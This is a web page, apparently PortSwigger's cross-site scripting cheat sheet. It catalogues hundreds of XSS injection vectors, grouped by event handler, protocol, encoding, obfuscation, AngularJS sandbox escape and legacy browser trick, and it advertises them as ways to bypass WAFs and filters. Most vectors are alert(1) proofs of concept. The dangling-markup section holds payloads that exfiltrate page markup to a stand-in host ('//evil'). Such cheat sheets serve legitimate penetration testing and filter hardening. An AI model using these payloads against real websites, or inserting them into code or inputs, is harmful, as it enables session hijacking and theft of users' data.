1. Web Security Academy
  2. Cross-site scripting
  3. Cheat sheet

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2019. Last updated: Fri, 08 Nov 2019 10:58:07 +0000.

Event handlers

Event handlers that do not require user interaction

Event:

Description:

Tag:

Code:

Copy:

onactivate

Fires when the element is activated

<a id=x tabindex=1 onactivate=alert(1)></a>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onafterprint

Fires after the page is printed

<body onafterprint=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onanimationcancel

Fires when a CSS animation cancels

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><a style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforeactivate

Fires before the element is activated

<a id=x tabindex=1 onbeforeactivate=alert(1)></a>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforedeactivate

Fires before the element is deactivated

<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforeprint

Fires before the page is printed

<body onbeforeprint=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforeunload

Fires after if the url changes

<body onbeforeunload="location='javascript:alert(1)'">

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onbegin

Fires when a svg animation begins

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onblur

Fires when an element loses focus

<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onbounce

Fires when the marquee bounces

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
oncanplay

Fires if the resource can be played

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondeactivate

Fires when the element is deactivated

<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onend

Fires when a svg animation ends

<svg><animate onend=alert(1) attributeName=x dur=1s>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onended

Fires when the resource is finished playing

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onerror

Fires when the resource fails to load or causes an error

<audio src/onerror=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onfinish

Fires when the marquee finishes

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onfocus

Fires when the element has focus

<a id=x tabindex=1 onfocus=alert(1)></a>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onfocusin

Fires when the element has focus

<a id=x tabindex=1 onfocusin=alert(1)></a>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onfocusout

Fires when an element loses focus

<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onhashchange

Fires if the hash changes

<body onhashchange="alert(1)">

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onload

Fires when the element is loaded

<svg><a onload=alert(1)></a>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes work in Safari
onloadeddata

Fires when the first frame is loaded

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onloadedmetadata

Fires when the meta data is loaded

<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onloadend

Fires when the element finishes loading

<image src=validimage.png onloadend=alert(1)>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onloadstart

Fires when the element begins to load

<image src=validimage.png onloadstart=alert(1)>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onmessage

Fires when message event is received from a postMessage call

<body onmessage=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpageshow

Fires when the page is shown

<body onpageshow=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onplay

Fires when the resource is played

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onplaying

Fires the resource is playing

<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpopstate

Fires when the history changes

<body onpopstate=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onreadystatechange

Fires when the ready state changes

<applet onreadystatechange=alert(1)></applet>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onrepeat

Fires when a svg animation repeats

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onresize

Fires when the window is resized

<body onresize="alert(1)">

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onscroll

Fires when the page scrolls

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onstart

Fires when the marquee starts

<marquee onstart=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
ontimeupdate

Fires when the timeline is changed

<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontoggle

Fires when the details tag is expanded

<details ontoggle=alert(1) open>test</details>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontransitioncancel

Fires when a CSS transition cancels

<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionrun

Fires when a CSS transition begins

<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onunhandledrejection

Fires when a promise isn't handled

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onwaiting

Fires when while waiting for the data

<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari

Event handlers that do require user interaction

Event:

Description:

Tag:

Code:

Copy:

onauxclick

Fires when right clicking or using the middle button of the mouse

<input onauxclick=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onbeforecopy

Requires you copy a piece of text

<a onbeforecopy="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforecut

Requires you cut a piece of text

<a onbeforecut="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforepaste

Requires you paste a piece of text

<a onbeforepaste="alert(1)" contenteditable>test</a>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onchange

Requires as change of value

<input onchange=alert(1) value=xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onclick

Requires a click of the element

<a onclick="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncontextmenu

Triggered when right clicking to show the context menu

<a oncontextmenu="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncopy

Requires you copy a piece of text

<a oncopy="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncut

Requires you cut a piece of text

<a oncut="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondblclick

Triggered when double clicking the element

<a ondblclick="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrag

Triggered dragging the element

<a draggable="true" ondrag="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragend

Triggered dragging is finished on the element

<a draggable="true" ondragend="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragenter

Requires a mouse drag

<a draggable="true" ondragenter="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragleave

Requires a mouse drag

<a draggable="true" ondragleave="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragover

Triggered dragging over an element

<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragstart

Requires a mouse drag

<a draggable="true" ondragstart="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrop

Triggered dropping a draggable element

<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oninput

Requires as change of value

<input oninput=alert(1) value=xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeydown

Triggered when a key is pressed

<a onkeydown="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeypress

Triggered when a key is pressed

<a onkeypress="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeyup

Triggered when a key is released

<a onkeyup="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousedown

Triggered when the mouse is pressed

<a onmousedown="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseenter

Triggered when the mouse is hovered over the element

<a onmouseenter="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseleave

Triggered when the mouse is moved away from the element

<a onmouseleave="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousemove

Requires mouse movement

<a onmousemove="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseout

Triggered when the mouse is moved away from the element

<a onmouseout="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseover

Requires a hover over the element

<a onmouseover="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseup

Triggered when the mouse button is released

<a onmouseup="alert(1)">test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpaste

Requires you paste a piece of text

<a onpaste="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpause

Requires clicking the element to pause

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onreset

Requires a click

<form onreset=alert(1)><input type=reset>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onsearch

Fires when a form is submitted and the input has a type attribute of search

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onseeked

Requires clicking the element timeline

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onseeking

Requires clicking the element timeline

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onselect

Requires you select text

<input onselect=alert(1) value="XSS" autofocus>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onsubmit

Requires a form submission

<form onsubmit=alert(1)><input type=submit>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onunload

Requires a click anywhere on the page and a reload

<svg onunload=window.open('javascript:alert(1)')>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onvolumechange
onwheel

Fires when you use the mouse wheel

<body onwheel=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari

Restricted characters

No parentheses using exception handling

<script>onerror=alert;throw 1</script>

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>

No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>

No parentheses using exception handling and eval

<script>throw onerror=eval,'=alert\x281\x29'</script>

No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>

No parentheses using location redirect no strings

<script>location=name</script>

No parentheses using template strings

<script>alert`1`</script>

Frameworks

Bootstrap onanimationstart event

<xss class=progress-bar-animated onanimationstart=alert(1)>

Protocols

Iframe src attribute JavaScript protocol

<iframe src="javascript:alert(1)">

Object data attribute with JavaScript protocol

<object data="javascript:alert(1)">

Embed src attribute with JavaScript protocol

<embed src="javascript:alert(1)">

A standard JavaScript protocol

<a href="javascript:alert(1)">XSS</a>

The protocol is not case sensitive

<a href="JaVaScript:alert(1)">XSS</a>

Characters \x01-\x20 are allowed before the protocol

<a href=" javascript:alert(1)">XSS</a>

Characters \x09,\x0a,\x0d are allowed inside the protocol

<a href="javas cript:alert(1)">XSS</a>

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript :alert(1)">XSS</a>

Data protocol inside script src

<script src="data:text/javascript,alert(1)"></script>

SVG script href attribute without closing script tag

<svg><script href="data:text/javascript,alert(1)" />

SVG use element Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

Import statement with data URL

<script>import('data:text/javascript,alert(1)')</script>

Base tag with JavaScript protocol rewriting relative URLS

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>

MathML makes any tag clickable

<math><x href="javascript:alert(1)">blah

Other useful attributes

Click a submit element from anywhere on the page, even outside the form

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Link elements: Access key attributes can enable XSS on normally unexploitable elements

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Download attribute can save a copy of the current webpage

<a href=# download="filename.html">Test</a>

Disable referrer using referrerpolicy

<img referrerpolicy="no-referrer" src="//portswigger-labs.net">

Special tags

UTF-7 BOM characters (Has to be at the start of the document) 1

+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 2

+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 3

+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 4

+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

Disable JavaScript via iframe sandbox

<iframe sandbox src="//portswigger-labs.net"></iframe>

Encoding

Unicode escapes

<script>\u0061lert(1)</script>

Unicode escapes ES6 style

<script>\u{61}lert(1)</script>

Unicode escapes ES6 style zero padded

<script>\u{0000000061}lert(1)</script>

Hex encoding JavaScript escapes

<script>eval('\x61lert(1)')</script>

Decimal encoding with padded zeros

<a href="&#0000106avascript:alert(1)">XSS</a>

Hex encoding entities

<a href="&#x6a;avascript:alert(1)">XSS</a>

Hex encoding with padded zeros

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

Hex encoding is not case sensitive

<a href="&#X6A;avascript:alert(1)">XSS</a>

HTML entities and URL encoding

<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>

Obfuscation

Firefox allows NULLS after &

<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>

Firefox allows NULLs inside named entities

<a href="javascript&colon;alert(1)">Firefox</a>

Data protocol inside script src with base64

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

Client-side template injection

AngularJS sandbox escapes reflected

Version:

Author:

Length:

Vector:

Copy:

1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}

1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

23

{{{}.")));alert(1)//"}}

>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

33

{{$on.constructor('alert(1)')()}}

DOM based AngularJS sandbox escapes

(Using orderBy or no $eval)

Version:

Author:

Length:

Vector:

Copy:

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

20

{}.")));alert(1)//";

AngularJS CSP bypasses

Scriptless attacks

Dangling markup

Img to pass markup through src attribute

<img src="//evil? <image src="//evil?

Video using track element

<video><track default src="//evil?

Video using source element and src attribute

<video><source src="//evil?

Audio using source element and src attribute

<audio><source src="//evil?

Isindex using src attribute

<isindex type=image src="//evil?

Object data

<object data="//evil?

Iframe src

<iframe src="//evil?

Embed src

<embed src="//evil?

Use textarea to consume markup and post to external site

<form><button formaction=//evil>XSS</button><textarea name=x>

Pass markup data through window.name using form target

<button form=x>XSS</button><form id=x action=//evil target='

Using embed window name to pass data from the page

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Using iframe window name to pass data from the page

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Using object window name to pass data from the page

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Polyglots

Classic vectors (XSS crypt)

Image src with JavaScript protocol

<img src="javascript:alert(1)">

Body background with JavaScript protocol

<body background="javascript:alert(1)">

Iframe data urls no longer work as modern browsers use a null origin

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">

JScript compact was a minimal version of JS that wasn't widely used in IE

<a href="#" onclick="jscript.compact:alert(1);">test</a> <a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>

JavaScript entities used to work in Netscape Navigator

<a title="&{alert(1)}">XSS</a>

JavaScript stylesheets used to be supported by Netscape Navigator

<link href="xss.js" rel=stylesheet type="text/javascript">

Button used to consume markup

<form><button name=x formaction=x><b>stealme

XBL Firefox only <= 2

<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-\mo\z-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-bindin\67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)">

CSS expressions <=IE7

<div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio\006e(alert(1))> <div style=xss:expressio\00006e(alert(1))> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio&#x5c;6e(alert(1))>

In quirks mode IE allowed you to use = instead of :

<div style=xss=expression(alert(1))> <div style="color&#x3dred">test</div>

GreyMagic HTML+time exploit (no longer works even in 5 docmode)

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>

Credits

Brought to you by PortSwigger lovingly constructed by Gareth Heyes

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist

You can contribute to this cheat sheet by updating the JSON and creating a pull request